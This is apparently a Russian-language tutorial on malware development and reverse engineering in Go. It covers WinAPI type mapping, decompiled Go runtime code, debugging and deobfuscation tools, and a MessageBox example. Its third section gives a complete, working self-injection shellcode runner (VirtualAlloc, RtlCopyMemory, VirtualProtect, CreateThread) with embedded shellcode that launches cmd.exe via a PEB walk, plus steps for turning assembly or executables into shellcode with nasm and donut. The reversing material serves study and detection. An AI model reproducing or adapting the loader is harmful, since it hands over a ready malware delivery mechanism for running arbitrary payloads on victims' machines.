Malware Development | golang #1
Go как язык с точки зрения malware dev / реверса.
Полезная табличка соответствия по WinAPI :
| Windows | Go | golang.org/x/sys/windows |
|---|---|---|
HWND |
uintptr |
windows.HWND |
HANDLE |
uintptr |
windows.HANDLE |
BOOL |
int32 |
windows.BOOL |
DWORD |
uint32 |
windows.DWORD |
WORD |
uint16 |
windows.WORD |
BYTE |
uint8 |
windows.BYTE |
INT / int |
int32 |
- |
UINT |
uint32 |
- |
LONG |
int32 |
- |
ULONG |
uint32 |
- |
LONGLONG |
int64 |
- |
ULONGLONG |
uint64 |
- |
LPVOID / PVOID |
unsafe.Pointer |
- |
LPSTR |
*byte |
- |
LPCSTR |
*byte |
- |
LPWSTR |
*uint16 |
- |
LPCWSTR |
*uint16 |
windows.StringToUTF16Ptr("s") |
SIZE_T |
uintptr |
- |
HMODULE |
uintptr |
windows.Handle |
FARPROC |
uintptr |
- |
LPBYTE |
*byte |
- |
struct |
struct |
поля один в один |
NULL |
nil / 0 |
- |
//Строки = LPCWSTR
windows.StringToUTF16Ptr("txt");
//HANDLE/HWND
windows.HWND(0)
windows.HWND(hWnd) //uintptr
//pointers
unsafe.Pointer(ptr) //LPVOID
uintptr(ptr) //арифметика
//BOOL
if result != 0 {};1. hello world
Компилятор статически линкует весь rt в бинарник, даже hello world занимает 2.5 MB. Внутри:
goroutine scheduler;
GC;
“fmt” со всем reflection;
STDLIB
Как найти main?
По умолчанию го не стрипает символы =>
main.main, main.init;b main.main.Если бинарник стрипнут => ентри поинт в
runtime.main, который уже зоветmain.main:
Вот что можно увидеть в простейшем бинарнике без функционала (всего там 2k функций)
void __cdecl main_main()
{
__int64 v0; // r14
void *retaddr; // [rsp+18h] [rbp+8h] BYREF
if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v0 + 16) ) // проверка на выход из пределов стека, stackguard
runtime_morestack_noctxt_abi0(); // тк го сам инициализирует стек (g0)
fmt_Fprintln();
}Сам print :
__int64 __fastcall fmt_Fprintln()
{
__int64 v0; // rax
__int64 v1; // r14
__int64 v3; // [rsp+8h] [rbp-18h]
void *retaddr; // [rsp+28h] [rbp+8h] BYREF
__int64 v5; // [rsp+30h] [rbp+10h]
if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v1 + 16) )//stackguard
runtime_morestack_noctxt_abi0();
v5 = v0;
fmt_newPrinter();
fmt___pp__doPrintln();
v3 = (*(__int64 (**)(void))(v5 + 24))();
fmt___pp__free();
return v3;
}Ой, точнее, вот сам принт:
__int64 *__fastcall fmt___pp__doPrintln(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
__int64 *result; // rax
__int64 v5; // rbx
__int64 v6; // r14
__int64 v7; // rdx
unsigned __int64 v8; // r11
__int64 v9; // r12
__int64 v10; // rbx
__int64 v11; // rax
__int64 *v12; // rdx
__int64 v13; // rcx
__int64 v14; // rsi
__int64 *v15; // r11
unsigned __int64 v16; // rbx
__int64 v17; // rdx
__int64 v18; // rax
__int64 *v19; // rdx
__int64 v20; // rcx
__int64 *v21; // r11
__int64 v22; // rcx
__int64 v23; // rcx
__int64 v24; // [rsp-40h] [rbp-60h]
__int64 v25; // [rsp-38h] [rbp-58h]
__int64 v26; // [rsp-30h] [rbp-50h]
__int64 v27; // [rsp-28h] [rbp-48h]
__int64 v28; // [rsp-20h] [rbp-40h]
__int64 v29; // [rsp+0h] [rbp-20h]
__int64 v30; // [rsp+18h] [rbp-8h]
void *retaddr; // [rsp+28h] [rbp+8h] BYREF
__int64 *v32; // [rsp+30h] [rbp+10h]
__int64 v33; // [rsp+40h] [rbp+20h]
if ( (unsigned __int64)&retaddr <= *(_QWORD *)(v6 + 16) )//stackguard
runtime_morestack_noctxt_abi0();
v32 = result;
v33 = a4;
v7 = 0LL;
while ( a4 > v7 ) //[]interface{} iter; slice аргументов
{
v29 = v7;
v30 = v5;
if ( v7 > 0 )
{
v8 = result[1] + 1;
v9 = *result;
if ( result[2] < v8 )
{
v10 = result[1] + 1;
runtime_growslice(v24, v25, v26, v27, v28); // растим буфер
v12 = v32;
v32[2] = v13;
if ( runtime_writeBarrier ) // нужен тк gc должен знать о каждом измененном указателе
{
v14 = *v32;
v11 = runtime_gcWriteBarrier2();
*v15 = v11;
v15[1] = v14;
}
*v12 = v11;
v8 = v10;
v9 = v11;
result = v32;
}
result[1] = v8;
*(_BYTE *)(v8 + v9 - 1) = 32;//пробел между аргументами, 0x20
}
fmt___pp__printArg();//печатаем 1 арг через reflection
v5 = v30 + 16;
v7 = v29 + 1;
result = v32;
a4 = v33;
}
v16 = result[1] + 1;
v17 = *result;
if ( result[2] < v16 )
{
runtime_growslice(v24, v25, v26, v27, v28);
v19 = v32;
v32[2] = v20;
if ( runtime_writeBarrier )
{
v18 = runtime_gcWriteBarrier2();
*v21 = v18;
v21[1] = v22;
}
*v19 = v18;
v23 = v18;
result = v19;
v17 = v23;
}
result[1] = v16;
*(_BYTE *)(v16 + v17 - 1) = 10; // 10 == '\n' == ln
return result;
}Call stack:
main.main
fmt.Println
fmt.Fprintln
pp = newprinter() ; sync.Pool
pp.doPrinln()
pp.printArg(arg,'v') ; typedef via reflection
; тк println может принимать любой тип через interface{}
pp.fmtString(s, 'v') ; write bytes
w.Write(pp.bug) ; flush?
pp.free() ; возвращаем память в пулТогда можно сказать, что нет смысла вдаваться в детали реализации
функций, нужно просто посмотреть аргументы. Ида не видит аргументов
(main.main выше), т.к у go свой abi (1.17+):
rax,rbx,rcx,rdi,rsi,r8,r9,r10,r11.
main.main
* rax = *os.Stdout
* rbx = []interface{}{"hello world"} (slice: ptr, len=1, cap=1)
* call fmt.Fprintln
fmt.Fprintln
* fmt_newPrinter() => rax = *pp
* rbx/rcx/rdi = slice
=>* call fmt___pp__doPrintlnЕсли захотеть поставить бп на WriteFile, то он не
сработает. Go не использует WinAPI, происходят Direct Syscalls:
fmt.Println
os.(*File).Write
syscall.Write
syscall.Syscall
NtWriteFile (ntdll)
bp ntdll.NtWriteFile. Для вывода в консоль работает и
bp WriteConsoleW.
Неприятно видеть даже простейшие программы, но они еще и
обфусцируются(напр., garble,obfuscator.io).
Для деобфускации может пригодиться GoStringUngarbler:
Принцип работы подробно описан в 1), если вкратце - программа найдет
все декрипт функции по паттернам, проэмулирует каждую через Unicorn,
выдаст патченый бинарник, где вместо декрипт функций будут плейнтекст
строки. Но есть один ньюанс - работает только для гарбла с флагом
-literals.
git clone https://github.com/mandiant/gostringungarbler
cd gostringungarbler
pip install -r requirements.txt
python gostringungarbler.py mpclient.dll -o mpclient_deobf.dllЕще можно попробовать это
goresym.exe -t -d -p <binary.exe> => json(f names, addresses) => import in ghidra
strings a.exe | findstr /i "main\."
objdump -t a.exe | findstr /i main
Если и это не помогает - остается динамика. Достаточно правильно настроенного Procmon, Fakenet-ng, x64dbg с защитой от антидебагинга. Нужно только правильно ставить бп и следить за регистрами.
2. MessageBoxW
//user32.dll
int MessageBoxW(
[in, optional] HWND hWnd,
[in, optional] LPCWSTR lpText,
[in, optional] LPCWSTR lpCaption,
[in] UINT uType
);Детектить:
bp LdrLoadDll -> wait for user32.dll -> bp user32.MessageBoxW
package main
import ( "golang.org/x/sys/windows" )
func main() {
//char str[] = "hello\n";
str := []byte("hello\n")
//DWORD written;
written := new(uint32)
//HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE)
hOut, err := windows.GetStdHandle(windows.STD_OUTPUT_HANDLE)
if err != nil {
windows.Exit(1)
}
//WriteFile(hOut, str, *written, NULL)
windows.WriteFile(hOut, str, written, &windows.Overlapped{})
windows.MessageBox(windows.HWND(0),//handle
windows.StringToUTF16Ptr("text"),
windows.StringToUTF16("name"),
windows.MB_OK)
}3. Shellcode Runner / Self Injection
VirtualAlloc (RWX) => copy shellcode => CreateThread => WaitForSingleObject
Детект: Go вызывает WinAPI через syscall wrappers, структура PE в памяти.
1) Достаем ptr(.data)
2) Шеллкод - winexec(cmd.exe,0) via PEB walk
3) VirtualAlloc(RW)
4) NewLazySystemDLL -> RtlCopyMemory
5) VirtualProtect(RE)
6) CreateThread := kernel32.NewProc("CreateThread")
7) CreateThread.Call
8) WaitForSingleObject(handle(thread),0xffffffff)
f, _ := pe.Open(os.Args[1])
defer f.Close() //
exe, _ := os.Executable() // открыть себя как PE
f, _ := pe.Open(exe)
defer f.Close()
s := f.Section(".data") //получить секцию по имени
data, _ := s.Data() //содержимое секции
s.VirtualAddress() //VA(.data)
handle, _ := windows.LoadLibrary("name.dll")
osFile := os.NewFile(uintptr(handle), "dll")
f, _ := pe.NewFile(osFile)package main
import (
"debug/pe"
"fmt"
"golang.org/x/sys/windows"
"log"
"os"
"unsafe"
)
func main() {
exe, _ := os.Executable()
f, _ := pe.Open(exe)
defer f.Close()
data := f.Section(".data")
fmt.Printf("va = 0x%X, size = 0x%X \n", data.VirtualAddress, data.Size)
shellcode := []byte{0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x40, 0x48, 0x31, 0xf6, 0x56, 0x48, 0xb8, 0x57, 0x69, 0x6e, 0x45, 0x78, 0x65, 0x63, 0x00, 0x50, 0x48, 0x89, 0x65, 0xf8, 0x65, 0x48, 0x8b, 0x1c, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x5b, 0x18, 0x48, 0x8b, 0x5b, 0x20, 0x48, 0x8b, 0x1b, 0x48, 0x8b, 0x1b, 0x48, 0x8b, 0x5b, 0x20, 0x48, 0x89, 0x5d, 0xf0, 0x8b, 0x43, 0x3c, 0x48, 0x01, 0xd8, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01, 0xd8, 0x8b, 0x48, 0x24, 0x48, 0x01, 0xd9, 0x48, 0x89, 0x4d, 0xe8, 0x8b, 0x78, 0x20, 0x48, 0x01, 0xdf, 0x48, 0x89, 0x7d, 0xe0, 0x8b, 0x50, 0x1c, 0x48, 0x01, 0xda, 0x48, 0x89, 0x55, 0xd8, 0x8b, 0x50, 0x14, 0x31, 0xc0, 0x48, 0x8b, 0x7d, 0xe0, 0x48, 0x8b, 0x75, 0xf8, 0x8b, 0x0c, 0x87, 0x48, 0x01, 0xd9, 0x48, 0x89, 0xcf, 0xb9, 0x08, 0x00, 0x00, 0x00, 0xfc, 0xf3, 0xa6, 0x74, 0x0b, 0xff, 0xc0, 0x39, 0xd0, 0x72, 0xdf, 0x48, 0x31, 0xc0, 0xeb, 0x12, 0x48, 0x8b, 0x4d, 0xe8, 0x48, 0x8b, 0x55, 0xd8, 0x0f, 0xb7, 0x04, 0x41, 0x8b, 0x04, 0x82, 0x48, 0x01, 0xd8, 0x48, 0x8d, 0x0d, 0x0c, 0x00, 0x00, 0x00, 0xba, 0x01, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xec, 0x5d, 0xc3, 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x00}
fmt.Printf("shellcode len = 0x%X\n", len(shellcode))
//allocate memory with RW
addr, err := windows.VirtualAlloc(0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if err != nil {
log.Fatal(err)
}
//need to load ntdll to use RtlCopyMemory
ntdll := windows.NewLazySystemDLL("ntdll.dll")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
}
//dst := unsafe.Slice((*byte)(unsafe.Pointer(addr)), len(shellcode))
//copy(dst, shellcode)
//change memory area protection to ER
var oldProtect uint32
errVirtProt := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
if errVirtProt != nil {
log.Fatalf("[!] VirtualProtect failed: %s", errVirtProt)
}
fmt.Println("[+] VirtualProtect OK")
//need to load kernel32 to use CreateThread
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
CreateThread := kernel32.NewProc("CreateThread")
thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
if thread == 0 { //createthread и другие ф-ии через LazyProc.Call возвращают err != 0, если это не го функция
log.Fatalf("[!] CreateThread failed: %s", errCreateThread)
}
fmt.Printf("[+] CreateThread OK, handle=0x%X\n", thread)
event, errWaitForSingleObject := windows.WaitForSingleObject(windows.Handle(thread), 0xffffffff)
if errWaitForSingleObject != nil {
log.Fatalf("[!] WaitForSingleObject failed: %s", errWaitForSingleObject)
}
_ = event
print("completed")
}Превратить асм в шеллкод:
nasm -f bin sh.asm -o sh.bin
=>
package main
import (
"fmt"
"os"
)
func main() {
data, _ := os.ReadFile(os.Args[1])
for _, b := range data {
fmt.Printf("0x%02x, ", b)
}
}
или donut -f 1 -i your.exe -o shell.bin
4. Defs
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
DWORD WaitForSingleObject(
[in] HANDLE hHandle,
[in] DWORD dwMilliseconds
);